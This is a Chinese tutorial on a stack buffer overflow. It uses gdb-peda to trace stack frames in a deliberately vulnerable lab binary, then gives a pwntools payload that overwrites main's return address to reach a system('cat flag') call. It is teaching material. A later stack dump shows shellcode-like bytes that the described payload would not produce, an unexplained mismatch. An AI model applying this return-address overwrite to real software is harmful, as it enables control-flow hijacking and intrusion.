二进制安全之栈溢出(二)
上一篇文章是通过数组越界覆盖结构体中其他成员内存,达到修改该成员的值的目的,接下来将使用第二种方法获取 flag,就是使用数组越界覆盖函数的返回地址,达到控制函数执行流程的目的。
函数栈的变化
这一次需要使用的编译参数是 gcc -g -O0 -fno-stack-protector -o vuln main.c
,fno-stack-protector
是禁用编译器的栈保护机制,毕竟是入门。需要提前学习的是 https://zhuanlan.zhihu.com/p/25816426 里面的背景知识,明白函数调用过程中栈的变化。
总结一下
调用其他函数:
- 参数进栈(当然后面会发现,x64 下面会优先使用寄存器传参数的)
- 下一条指令地址进栈
进入函数:
- 当前栈基地址压栈(当前栈基地址实际上也是前一个函数的栈基地址)
比如代码
1int add(int a, int b){
2 return a + b;
3}
4
5int main(){
6 int a = 1;
7 int b = 2;
8 add(a, b);
9 return 0;
10}
得到的汇编是这样的
1gdb-peda$ pdisas main
2Dump of assembler code for function main:
3 0x00000000004004ea <+0>: push rbp
4 0x00000000004004eb <+1>: mov rbp,rsp
5 # 栈顶提高 16 个字节 |rbp|........|rsp| -> 内存地址减小方向
6 0x00000000004004ee <+4>: sub rsp,0x10
7 # 在栈上放了两个数字,占用了 8 个字节
8 # |rbp| 2 | 1 | ... |rsp|
9 0x00000000004004f2 <+8>: mov DWORD PTR [rbp-0x8],0x1
10 0x00000000004004f9 <+15>: mov DWORD PTR [rbp-0x4],0x2
11 # 把两个数字给寄存器
12 0x0000000000400500 <+22>: mov edx,DWORD PTR [rbp-0x4]
13 0x0000000000400503 <+25>: mov eax,DWORD PTR [rbp-0x8]
14 0x0000000000400506 <+28>: mov esi,edx
15 0x0000000000400508 <+30>: mov edi,eax
16 # 函数调用,其实相当于 push 下一条指令地址,然后跳转到 add 函数那里
17 0x000000000040050a <+32>: call 0x4004d6 <add>
18 # eax 在这里保存返回值的值
19 0x000000000040050f <+37>: mov eax,0x0
20 # leave 相当于 mov rsp,rbp; pop rbp
21 # 这个函数的栈相当于清空了
22 0x0000000000400514 <+42>: leave
23 0x0000000000400515 <+43>: ret
24End of assembler dump.
25
26gdb-peda$ pdisas add
27Dump of assembler code for function add:
28 # 保存 main 函数的栈底地址
29 0x00000000004004d6 <+0>: push rbp
30 # rbp = rsp 当前函数的栈底地址等于栈顶地址,相当于创建了一个新的空栈
31 0x00000000004004d7 <+1>: mov rbp,rsp
32 # 寄存器中的值放到栈里面,然后放到运算的寄存器中
33 0x00000000004004da <+4>: mov DWORD PTR [rbp-0x4],edi
34 0x00000000004004dd <+7>: mov DWORD PTR [rbp-0x8],esi
35 0x00000000004004e0 <+10>: mov edx,DWORD PTR [rbp-0x4]
36 0x00000000004004e3 <+13>: mov eax,DWORD PTR [rbp-0x8]
37 # 加法
38 0x00000000004004e6 <+16>: add eax,edx
39 # pop rbp,其实这个函数中栈里面并没有新增的数据
40 0x00000000004004e8 <+18>: pop rbp
41 0x00000000004004e9 <+19>: ret
42End of assembler dump.
使用上篇文章的代码生成的汇编会更复杂,但是暂时这些就够了。
使用 peda 查看栈和寄存器数据
gdb ./vuln
然后 b 21
在 gets(student.name);
后面下断点,r
运行,输入 1925
和 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
之后可以看到 peda 的输出分为几部分,分为 registers
、code
和 stack
,分别是寄存器、汇编代码和栈数据分布。
1gdb-peda$ b 21
2Breakpoint 1 at 0x40072e: file main.c, line 21.
3gdb-peda$ r
4Starting program: /home/virusdefender/Desktop/pwn/new/vuln
5What's Your Birth?
61925
7What's Your Name?
8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
9[----------------------------------registers-----------------------------------]
10RAX: 0x7fffffffe2f0 ('A' <repeats 63 times>)
11RBX: 0x0
12RCX: 0x7ffff7dd18e0 --> 0xfbad2288
13RDX: 0x7ffff7dd3790 --> 0x0
14RSI: 0x60245f --> 0xa ('\n')
15RDI: 0x7fffffffe32f --> 0x785ffffe46300
16RBP: 0x7fffffffe340 --> 0x400790 (<__libc_csu_init>: push r15)
17RSP: 0x7fffffffe2e0 --> 0x7fffffffe428 --> 0x7fffffffe6b3 ("/home/virusdefender/Desktop/pwn/new/vuln")
18RIP: 0x40072e (<main+120>: mov eax,DWORD PTR [rbp-0xc])
19R8 : 0x602460 --> 0x0
20R9 : 0x4141414141414141 ('AAAAAAAA')
21R10: 0x4141414141414141 ('AAAAAAAA')
22R11: 0x246
23R12: 0x4005c0 (<_start>: xor ebp,ebp)
24R13: 0x7fffffffe420 --> 0x1
25R14: 0x0
26R15: 0x0
27EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
28[-------------------------------------code-------------------------------------]
29 0x400721 <main+107>: mov rdi,rax
30 0x400724 <main+110>: mov eax,0x0
31 0x400729 <main+115>: call 0x400590 <gets@plt>
32=> 0x40072e <main+120>: mov eax,DWORD PTR [rbp-0xc]
33 0x400731 <main+123>: mov esi,eax
34 0x400733 <main+125>: mov edi,0x400855
35 0x400738 <main+130>: mov eax,0x0
36 0x40073d <main+135>: call 0x400560 <printf@plt>
37[------------------------------------stack-------------------------------------]
380000| 0x7fffffffe2e0 --> 0x7fffffffe428 --> 0x7fffffffe6b3 ("/home/virusdefender/Desktop/pwn/new/vuln")
390008| 0x7fffffffe2e8 --> 0x1ff000000
400016| 0x7fffffffe2f0 ('A' <repeats 63 times>)
410024| 0x7fffffffe2f8 ('A' <repeats 55 times>)
420032| 0x7fffffffe300 ('A' <repeats 47 times>)
430040| 0x7fffffffe308 ('A' <repeats 39 times>)
440048| 0x7fffffffe310 ('A' <repeats 31 times>)
450056| 0x7fffffffe318 ('A' <repeats 23 times>)
46[------------------------------------------------------------------------------]
47Legend: code, data, rodata, value
48
49Breakpoint 1, main (argc=0x1, argv=0x7fffffffe428) at main.c:21
5021 printf("You Are Born In %d\n", student.birth);
51
52gdb-peda$ p &student
53$1 = (struct Student *) 0x7fffffffe2f0
54gdb-peda$ p sizeof(student)
55$2 = 0x48
register 中可以看到 RBP: 0x7fffffffe340
、RSP: 0x7fffffffe2e0
和 RIP: 0x40072e
,在 stack 中可以看到这两个地址之间的数据,当然空间原因显示的并不全,可以使用 telescope 16
查看更多的栈内存。
1gdb-peda$ p $rbp
2$6 = (void *) 0x7fffffffe340
3gdb-peda$ p $rsp
4$7 = (void *) 0x7fffffffe2e0
5gdb-peda$ telescope 16
60000| 0x7fffffffe2e0 --> 0x7fffffffe428 --> 0x7fffffffe6b3 ("/home/virusdefender/Desktop/pwn/new/vuln")
70008| 0x7fffffffe2e8 --> 0x1ff000000
80016| 0x7fffffffe2f0 ('A' <repeats 63 times>)
90024| 0x7fffffffe2f8 ('A' <repeats 55 times>)
100032| 0x7fffffffe300 ('A' <repeats 47 times>)
110040| 0x7fffffffe308 ('A' <repeats 39 times>)
120048| 0x7fffffffe310 ('A' <repeats 31 times>)
130056| 0x7fffffffe318 ('A' <repeats 23 times>)
140064| 0x7fffffffe320 ('A' <repeats 15 times>)
150072| 0x7fffffffe328 --> 0x41414141414141 ('AAAAAAA')
160080| 0x7fffffffe330 --> 0x785ffffe463
170088| 0x7fffffffe338 --> 0x0
180096| 0x7fffffffe340 --> 0x400790 (<__libc_csu_init>: push r15)
190104| 0x7fffffffe348 --> 0x7ffff7a2d830 (<__libc_start_main+240>: mov edi,eax)
200112| 0x7fffffffe350 --> 0x0
210120| 0x7fffffffe358 --> 0x7fffffffe428 --> 0x7fffffffe6b3 ("/home/virusdefender/Desktop/pwn/new/vuln")
然后可以简单得到 student
的内存的范围,0x7fffffffe2f0 - 0x7fffffffe338
就是在栈中。0032| 0x7fffffffe340 --> 0x400790 (<__libc_csu_init>: push r15)
也印证了这一点,这样 0x7fffffffe340
地址的数据就很明显是 main 函数的 rbp,0x7fffffffe348
的数据就是 main 函数的下一句指令的地址。
控制函数流程
只要把 system("cat flag");
的地址写入到 0x7fffffffe348
就可以了,这个地址可以从 pdisas main
汇编代码中看到
10x0000000000400756 <+160>: mov edi,0x40087e
20x000000000040075b <+165>: mov eax,0x0
30x0000000000400760 <+170>: call 0x400550 <system@plt>
而 0x40087e
处就是 system
的参数
1gdb-peda$ x 0x40087e
20x40087e: "cat flag"
所以要覆盖成的指令地址就是 0x0000000000400756
,而不能是 0x0000000000400760
,否则函数取到的参数可能是错误的。
思考:这个地址是在内存哪个区域?是栈区么?这个地址会变么?
payload 是
1from pwn import *
2print "1925\n" + "A" * (0x7fffffffe348 - 0x7fffffffe2f0) + p64(0x0000000000400756)
这里使用了 pwntools 库,p64 函数的作用就是把一个数字转换为内存中分布的形式
1>>> p64(0xdeadbeef)
2'\xef\xbe\xad\xde\x00\x00\x00\x00'
1What's Your Birth?
2What's Your Name?
3You Are Born In 1094795585
4You Are Naive.
5You Speed One Second Here.
6THIS_IS_FLAG
7[1] 78848 bus error (core dumped) ./vuln < 1.in
运行后虽然能成功的打印出 flag,但是最后进程会 crash,是因为 main 函数的栈底地址被我们覆盖了,如果要避免崩溃,还是需要精细的维护堆栈平衡的。
使用 GDB b 29
,也就是最后的 return 0
1gdb-peda$ b 29
2Breakpoint 1 at 0x40077b: file main.c, line 29.
3gdb-peda$ r < 1.in
4Starting program: /home/virusdefender/Desktop/pwn/new/vuln < 1.in
5What's Your Birth?
6What's Your Name?
7You Are Born In 1094795585
8You Are Naive.
9You Speed One Second Here.
10[----------------------------------registers-----------------------------------]
11RAX: 0x1b
12RBX: 0x0
13RCX: 0x7ffff7b04290 (<__write_nocancel+7>: cmp rax,0xfffffffffffff001)
14RDX: 0x7ffff7dd3780 --> 0x0
15RSI: 0x602010 ("You Speed One Second Here.\n")
16RDI: 0x1
17RBP: 0x7fffffffe340 ("AAAAAAAA\360\342\377\377\377\177")
18RSP: 0x7fffffffe2e0 --> 0x7fffffffe428 --> 0x7fffffffe6b6 ("/home/virusdefender/Desktop/pwn/new/vuln")
19RIP: 0x40077b (<main+197>: mov eax,0x0)
20R8 : 0x2e6572654820646e ('nd Here.')
21R9 : 0x1b
22R10: 0x0
23R11: 0x246
24R12: 0x4005c0 (<_start>: xor ebp,ebp)
25R13: 0x7fffffffe420 --> 0x1
26R14: 0x0
27R15: 0x0
28EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
29[-------------------------------------code-------------------------------------]
30 0x40076c <main+182>: call 0x400540 <puts@plt>
31 0x400771 <main+187>: mov edi,0x400896
32 0x400776 <main+192>: call 0x400540 <puts@plt>
33=> 0x40077b <main+197>: mov eax,0x0
34 0x400780 <main+202>: leave
35 0x400781 <main+203>: ret
36 0x400782: nop WORD PTR cs:[rax+rax*1+0x0]
37 0x40078c: nop DWORD PTR [rax+0x0]
38[------------------------------------stack-------------------------------------]
390000| 0x7fffffffe2e0 --> 0x7fffffffe428 --> 0x7fffffffe6b6 ("/home/virusdefender/Desktop/pwn/new/vuln")
400008| 0x7fffffffe2e8 --> 0x1ff000000
410016| 0x7fffffffe2f0 --> 0x6e69622fbb48f631
420024| 0x7fffffffe2f8 ("//shVST_j;X1\322\017\005", 'A' <repeats 65 times>, "\360\342\377\377\377\177")
430032| 0x7fffffffe300 --> 0x41050fd231583b6a
440040| 0x7fffffffe308 ('A' <repeats 64 times>, "\360\342\377\377\377\177")
450048| 0x7fffffffe310 ('A' <repeats 56 times>, "\360\342\377\377\377\177")
460056| 0x7fffffffe318 ('A' <repeats 48 times>, "\360\342\377\377\377\177")
47[------------------------------------------------------------------------------]
48Legend: code, data, rodata, value
49
50Breakpoint 1, main (argc=0x1, argv=0x7fffffffe428) at main.c:29
5129 return 0;
然后输入 ni
一直回车,注意观察 code
区域,就可以进行汇编指令级别的单步调试。
思考题答案:
- 内存会分为很多块区域,比如数据段、代码段等,二进制文件中的指令是存储在代码段的
- 一般情况下代码段的地址就是确定的,即使开启了 ASLR,更详细的后面会说到。